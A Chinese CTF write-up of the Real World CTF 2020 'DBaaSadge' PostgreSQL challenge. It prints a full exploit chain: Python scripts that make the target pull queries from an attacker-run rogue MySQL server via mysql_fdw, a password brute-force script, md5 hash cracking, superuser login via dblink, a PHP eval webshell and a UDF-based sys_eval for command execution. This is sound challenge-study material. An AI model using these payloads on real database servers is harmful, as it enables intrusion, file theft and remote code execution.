Real World CTF 2020 DBaaSadge Writeup

刚打的RWCTF比赛,觉得题目是非常不错的,至少这个环境下,postgre是大部分Web选手的弱项,圈内也没有什么自动化测试工具,因此写这篇WP还是有必要的。

由于大部分关键的技术点是我队里的亲姐们——鱼先做了,所以这里先贴一下人家的博客里的wp(鱼哥看到记得来拍我)

https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426

这道题学到的不止有postgre的知识,还有burpsuite BApp,以及md5crack的部分,这里还是给各位同学做个分析总结吧。

本文涉及知识点实操练习:使用burp进行暴力破解 (通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。)

复现环境下载

1链接:https://pan.baidu.com/s/1TKQ5UYh55KcYQVQKG-CAwA 2提取码:kwck 3复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V3的分享

源码分析

打开题目直接显示源码

1<?php 2error_reporting(0); 3 4if(!$sql=(string)$_GET["sql"]){ 5 show_source(__FILE__); 6 die(); 7} 8 9header('Content-Type: text/plain'); 10 11if(strlen($sql)>100){ 12 die('That query is too long ;_;'); 13} 14 15if(!pg_pconnect('dbname=postgres user=realuser')){ 16 die('DB gone ;_;'); 17} 18 19if($query = pg_query($sql)){ 20 print_r(pg_fetch_all($query)); 21} else { 22 die('._.?'); 23} 24

这个源码不难理解,主要就是你通过get输入一个sql参数,然后他会把你输入的直接作为pg_query的参数,然后返回结果,如果运行正确就打印结果,错误就显示颜文字。其中sql输入限制了100个字节。

第一步我们必须自己搭建一个环境,这样可以把报错打出来,方便调试

进入postgre交互式命令行的方式是

psql

如果你在这步就报错了,请切换到postgres用户再做

pg_query的报错函数为:

print_r(pg_fetch_all($query));

因此我们在最后一个else里面加上这个函数

这样只要我们输入错误,显示的就是具体语句查询时候的报错。

查询时报错

接下来我们首先看看这个postgre的版本和用户

postgre的版本和用户

postgre的版本和用户

这一块很重要,虽然dockerfile里面有,但是如果以后其他题目没有给docker的时候,可以通过这两条语句来查询出题目postgre的版本

1select user; 2select version();

根据docker我们可以知道,这个realuser不是一个superuser,如果是superuser的话,网络上很多方式都可以直接getshell了。而nosuperuser在目前是无法getshell的,所以目标十分明确,就是要提权,然后正常的执行getshell命令。

当时查完,我们队伍就感觉可能是不是10.15之前修补的那个cve的绕过,但是研究发现那个cve是个pwn,而且题目明确表示这个是个web题目,所以放弃走这条路

接着我们在题目给的dockerfile里面看到他安装了两个扩展安装了两个扩展

在文档里面,CREATE EXTENSION表示的意思是安装postgre扩展

其中postgresql中dblink扩展的功能是可以在一个数据库中操作另外一个远程数据库

select dblink_connect('连接句柄名', 'host=XXX.XXX.XXX.XXX port=XX dbname=postgres user=myname password=mypassword');

而mysql_fdw扩展则是用来在Postgre中快速访问MySQL中的数据,也就是给Postgre提供一个外界Mysql的访问方式

于是我们亲爱的鱼就想到了rouge-mysql

这个考点在CTF中比较常见,通过让题目连接自己的mysql恶意服务器来进行任意文件读取(我怎么就没想到)

从这里下载到脚本

https://github.com/allyshka/Rogue-MySql-Server

有两个版本,py版本和php版本,这里推荐php版本

py版本为什么不好原因有3:

11. 后台监听且不回显 2(你说你监听就监听吧,还弄了个后台监听,运行完没有回显,搞半天以为我运行出错) 32. 结果在同目录下的一个mysql.log文件里,差点没找到。 43. 每次读取还得自己改一下源码里面的文件名

php版本就很人性,动态输入文件名,然后直接回显在屏幕上。

动态输入文件名

postgre的mysql_fdw使用方法可以参考这个网站,上面有实际例子:

https://blog.csdn.net/bingluo8787/article/details/100958098

我们不用创建那么大的表格,随便填一个id int就行

1CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306'); 2 3CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root'); 4 5CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test'); 6 7select * from test; 8 9DROP SERVER mysql_server

最后一个drop是因为如果前后两次使用相同的Servername,他就会一直报servername存在,类似mysql里面的databases会一直报存在一个样,因此我们每次运行完都drop掉,省的一直改

最后读取的poc如下:

1import requests 2import hashlib 3import random 4import uuid 5url ="http://54.219.197.26:60080/?sql=" 6 7#填你的IP 8ip="***" 9port="***" 10server_name="aaaa" 11dbname=server_name 12Table_name=server_name 13 14poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');" 15 16#poc2里填写你自己mysql的用户名密码 17 18poc2="CREATE USER MAPPING FOR realuser SERVER "+server_name+" OPTIONS (username 'root', password 'root');" 19poc3="CREATE FOREIGN TABLE "+Table_name+"(id int) SERVER "+server_name+" OPTIONS (dbname '"+dbname+"', table_name '"+Table_name+"');" 20poc4="select * from "+Table_name+";" 21poc5="DROP SERVER "+server_name 22 23r1=requests.get(url+poc1) 24print(r1.text) 25r2=requests.get(url+poc2) 26print(r2.text) 27r3=requests.get(url+poc3) 28print(r3.text) 29r4=requests.get(url+poc4) 30print(r4.text)

在我们服务器上php mysql.php进行监听,然后运行poc,远程读取到服务器文件

远程读取到服务器文件

那么问题来了,题目给了dockerfile,读取也没用啊,没有啥文件是不知道的。

这个时候我和鱼哥做题水平分水岭就出来了,确实不如人家厉害

我的想法

寻找conf文件配置中的漏洞,看能不能免密码登录superuser的账户,在UNIX平台中安装PostgreSQL之后,PostgreSQL会在UNIX系统中创建一个名为"postgres"当用户。PostgreSQL的默认用户名和数据库也是"postgres",而且这个是个superuser

但是我们出题人很贴心的在每次docker重启时都将postgres的密码改为了5位随机字符串。

5位随机字符串

但是通过网络查阅我了解到,在pg_hba.conf中如果把host配置为trust是可以进行免密登录的,然后在docker里面遍历搜索pg_hba.conf这个文件的位置,发现在/etc/postgresql/10/main下,读取以后:

读取以后

这个很明显是不能够登录的,到了这里我就开始想爆破密码了

爆破的poc为

http://ip/?sql=SELECT%20dblink_connect(%27hostaddr=127.0.0.1%20port=5432%20dbname=postgres%20%20user=postgres%20password=aaaaa%27);

如果成功连接那么网页会回显

1Array 2( 3 [0] => Array 4 ( 5 [dblink_connect] => OK 6 ) 7 8)

错误则是回显颜文字

爆破的时候用的是burpsuite的Turbo intruder

Turbo 介绍

和普通的intruder不同,这个速度差不多是原来旧版本的10倍

我相信很多人还是在使用intruder(还是换了吧,那个确实慢)

每一个burp都自带一个Entender标签,里面都有一个BAppStore,是有很多插件可以安装的,之后再出一篇专门讲这些插件的吧,这次用的Turbo也在这里面,直接点击安装就好

安装burp

当然,由于各种原因,很多人的版本直接点击install是长时间没有响应的,因为连不上国外服务器,所以这里我再给大家一个下载插件安装包的网址

https://portswigger.net/bappstore

这个网址可以下载到列表里面最新的插件,所有安装包都是.bapp结尾,然后点击刚才burp页面里面的Manual install进行附件安装也可以

主要用法如下,截取到包以后,右键有一个send to Turbo intruder按钮,比较隐蔽,注意看一下就好

然后爆破的时候需要在框里面填一下py的功能函数

如果对单个密码进爆破,则使用网络上爆破验证码的方式即可,把下面的复制到框内(脚本都是现成的,网络上一搜一堆):

1from itertools import product 2def brute_veify_code(target, engine, length): 3 pattern = '1234567890abcdefghijklmnopqrstuvwxyz' 4 for i in list(product(pattern, repeat=length)): 5 code = ''.join(i) 6 engine.queue(target.req, code) 7def queueRequests(target, wordlists): 8 engine = RequestEngine(endpoint=target.endpoint, 9 concurrentConnections=30, 10 requestsPerConnection=100, 11 pipeline=True 12 ) 13 brute_veify_code(target, engine, 6) 14def handleResponse(req, interesting): 15# currently available attributes are req.status, req.wordcount, req.length and req.response 16 if 'error' not in req.response: 17 table.add(req)

然后在url里面需要爆破的位置用%s表示

爆破验证码

这个速度是真的很快的,一秒大概4000多个

如果是简单的爆破,他要快很多,但是事实证明,大型爆破时,个人电脑撑不住。

然后这题6千万个密码,就把我电脑内存和带宽跑炸了......

鱼哥的做法

怎么说人家就是很聪明,直接想到类比mysql,mysql里面的密码存储方式是落地的,就在data_directory变量的目录位置,那么同样的,进到docker里面通过查询一下系统变量,就可以看到postgre的密码存放位置

这里说一下postgre的交互式命令行

进入postgre的交互式命令行的命令为

psql

你也可以用

psql -c "commond"

来直接执行命令,和mysql一样

但是如果你是root用户,且没有配置过,是不可以在root下直接进入psql的,会出现如下错误:

出现错误

所以我们要切换到postgres用户

换到postgres用户

然后我们查询系统变量

查询系统变量

这里讲一下psql的退出方式,你要觉得麻烦,直接ctrl+d强制退出就好

然后我们进入目录下,发现一堆文件

发现一堆文件

如何寻找密码文件呢,前面看了conf文件为md5加密

这里教大家一个方便查找文件内容的命令egrep

egrep -r "内容" 目录

其中内容部分支持正则表达式

支持正则表达式

最后发现在global/1260里面

发现密码

提供一个爆破md5的工具,这个是真的很快:

http://c3rb3r.openwall.net/mdcrack

爆破方式参考

http://www.91ri.org/1285.html

很快啊,他就直接出来了,前面5位就是密码,后面的是用户名

爆破密码和用户名

还记得dblink扩展的作用吗,用来连接postgre数据库。

然后我们就可以用dblink直接登录superuser了

用dblink直接登录superuser

所以剩下的问题就是用superuser执行命令的问题了

只要能够执行下面这句话,就可以把木马写入到目录里面,如果web目录不是777,那么写一个udf到/tmp也可以。

SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);

但是问题又来了,他每次连接都是一个新的,无法保持上一次连接状态,因为不是命令行交互,所以我们必须要在一行里面打完所有poc,但是他限制了100个字节,这个很头疼,我和鱼哥都开始想着怎么绕过这个长度限制。

然后还是一个队内做题的分水岭,高手鱼和普通ctfer小s的区别。

我的想法

由于之前写过mysql 的存储过程,很清楚只要是数据库,都可以把一个复杂的语句经过编码然后存入到一个存储过程里面,然后下一次调用,这样就可以避免两次连接不保持状态这个问题。

没有概念的同学请参考强网杯线上随便注正解,或者参考我前一篇发在合天的文章再学一下。

于是我实验了postgre的存储过程,也很快,因为这个确实熟悉

实验了postgre的存储过程

只要发送如图上两次请求就可以调用d函数中的select语句

但是我还是想简单了,因为存储过程在命令行中是可以分开写的,就算是两次连接一样可以写完,但是url里面他的回车符传入到postgre后端不识别,因此他不能分开写,所以还是绕不过去100个字符的限制。因此这个方法不通。

但是不是说这个方法没用,如果这里考察的不是postgre长度限制而是敏感字符过滤,那么肯定是要用存储过程的。(最后的尊严TT)

鱼哥的想法

鱼哥想到的是子查询,通过将poc语句写入到自己mysql服务器的一个表里面,然后在利用mysql_fdw扩展远程连接mysql服务器的时候select出来。

1可以将 2 3SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text); 4 5变形为 6 7SELECT * FROM dblink((select a from c where b=1), (select a from c where b=2)) as t1(a text);

第一个select做连接,第二个做执行命令。

调整poc如下,调整了子查询的表名为b和列名为s,m,然后换了servername为a66_server,t9为子查询别名:

1poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');" 2 3poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');" 4 5poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');" 6 7poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"

先在自己服务器建立一个b数据库,然后建立一个b表,里面是s字段和m字段,然后两个字段分别存放两个poc,一个用来连接,一个用来执行

坑点又来了!

这个地方一定一定不能因为想弄长一点,就用longtext或者其他text类型来声明这两个字段,因为当postgre从mysql查询的时候会报如下错误:

查询的时候会报错误

具体原因尚未分析。

varchar的最长长度是65535,但是由于每个人电脑的不同,可能最大长度设置也不同,我这里最多只能设置45000。

要写入mysql的poc

1drop table b; 2 3create table b(s varchar(20000),m varchar(44000)); 4 5insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=*****','COPY (select $$<?=@eval($_REQUEST[3]);?>$$) to $$/tmp/smity.php$$;');

弄好以后差不多如下

要写入mysql的poc

然后poc:

1import requests 2import random 3import uuid 4url ="http://IP/?sql=" 5 6poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');" 7poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');" 8poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');" 9poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);" 10 11r1=requests.get(url+poc1) 12print(r1.text) 13r2=requests.get(url+poc2) 14print(r2.text) 15r3=requests.get(url+poc3) 16print(r3.text) 17r4=requests.get(url+poc4) 18print(r4.text)

然后对面的/tmp目录就写了个文件

22.png

这里题目没有777权限给/var/www/html。所以我们要考虑/tmp下写udf来执行命令

这个是固定的用法了

参考

https://blog.csdn.net/qq_33020901/article/details/79032774

这篇文章请直接看最后一个部分,因为前面利用环境编译的部分我觉得太过麻烦,直接用github上的源码编译即可

大致过程如下:

  1. 按照题目postgre的大版本编一个符合版本的.so
  2. .so文件分片,写入到sql语句里,就和之前写php文件一样,再写到自己的mysql数据库里
  3. 发送poc让对面服务器来我们这里查询出来语句并且执行

udf.so编译过程

先去这个网页下载编译程序

https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys

然后进入题目docker

先安装一个postgre-server-dev,不然很多头文件没有。

apt install postgresql-server-dev-all

然后在下载的Makefile里面,加一段10版本的编译,直接复制下面的,然后修改一下第一句的目录,如果你的目录不对,就去/usr/里面看一下到底是多少,只需要找到/usr里面的postgre目录即可,不需要管server存不存在,他会自动创建的。

复制第一句目录

然后将下载的复制到docker里面

make 10

就编译好了,在同目录下就会发现生成了一个lib_postgresqludf_sys.so

报错不用管他

这个就是我们需要的udf.so

然后是分片

因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节,会导致文件破坏或者上传失败

用python脚本去分割udf.so文件

Python

1#~/usr/bin/env python 2.7 2#-*- coding:utf-8 -*- 3import sys 4 5if __name__ == "__main__": 6 if len(sys.argv) != 2: 7 print "Usage:python " + sys.argv[0] + "inputfile" 8 sys.exit() 9 fileobj = open(sys.argv[1],'rb') 10 i = 0 11 for b in fileobj.read(): 12 sys.stdout.write(r'{:02x}'.format(ord(b))) 13 i = i + 1 14 if i % 2048 == 0: 15 print "\n" 16 fileobj.close() 17

会出来6个大块,分为6条语句,和参考网页里的一样

1https://blog.csdn.net/qq_33020901/article/details/79032774 2 3 4 5SELECT lo_create(9023); 6 7insert into pg_largeobject values (9023, 0, decode('...'); 8insert into pg_largeobject values (9023, 1, decode('...'); 9insert into pg_largeobject values (9023, 2, decode('...'); 10insert into pg_largeobject values (9023, 3, decode('...'); 11insert into pg_largeobject values (9023, 4, decode('...'); 12insert into pg_largeobject values (9023, 5, decode('...'); 13 14SELECT lo_export(9023, '/tmp/testeval.so'); 15

实验证明,设置varchar(44000)是绝对够写入mysql数据库的。不用担心长度问题

然后删除原来的表,重新添加

1drop table b; 2 3create table b(s varchar(20000),m varchar(44000)); 4 5insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"SELECT lo_create(9023);insert into...... 6

然后运行刚才的poc,写入/tmp/testeval.so

写入so以后,我们需要执行以下sql语句来执行命令

1CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; 2 3select sys_eval('id'); 4

原来的参考网站有一条

1drop function sys_eval; 2

应该是写错了,加了这个不能运行

再次清空我们服务器上的mysql数据表,重新建立

1drop table b; 2 3create table b(s varchar(20000),m varchar(44000)); 4 5insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/readflag');"); 6

然后再次运行poc,得到flag

得到flag

总结

队内这次打web的高手挺多,还有其他做法,鱼哥也发他博客了,感兴趣可以看看

1https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426 2

总的来说。这次的rw web题目是很好的,其中java和postgre都是目前ctf环境的弱项,一考一个准,还是得有空补一补php以外的东西。

点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

MySQL部分从库上面因为大量的临时表tmp_table造成慢查询

背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_

皕杰报表之UUID

​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

2020年前端实用代码段,为你的工作保驾护航

有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )

Real World CTF 2020 DBaaSadge Writeup - HelloWorld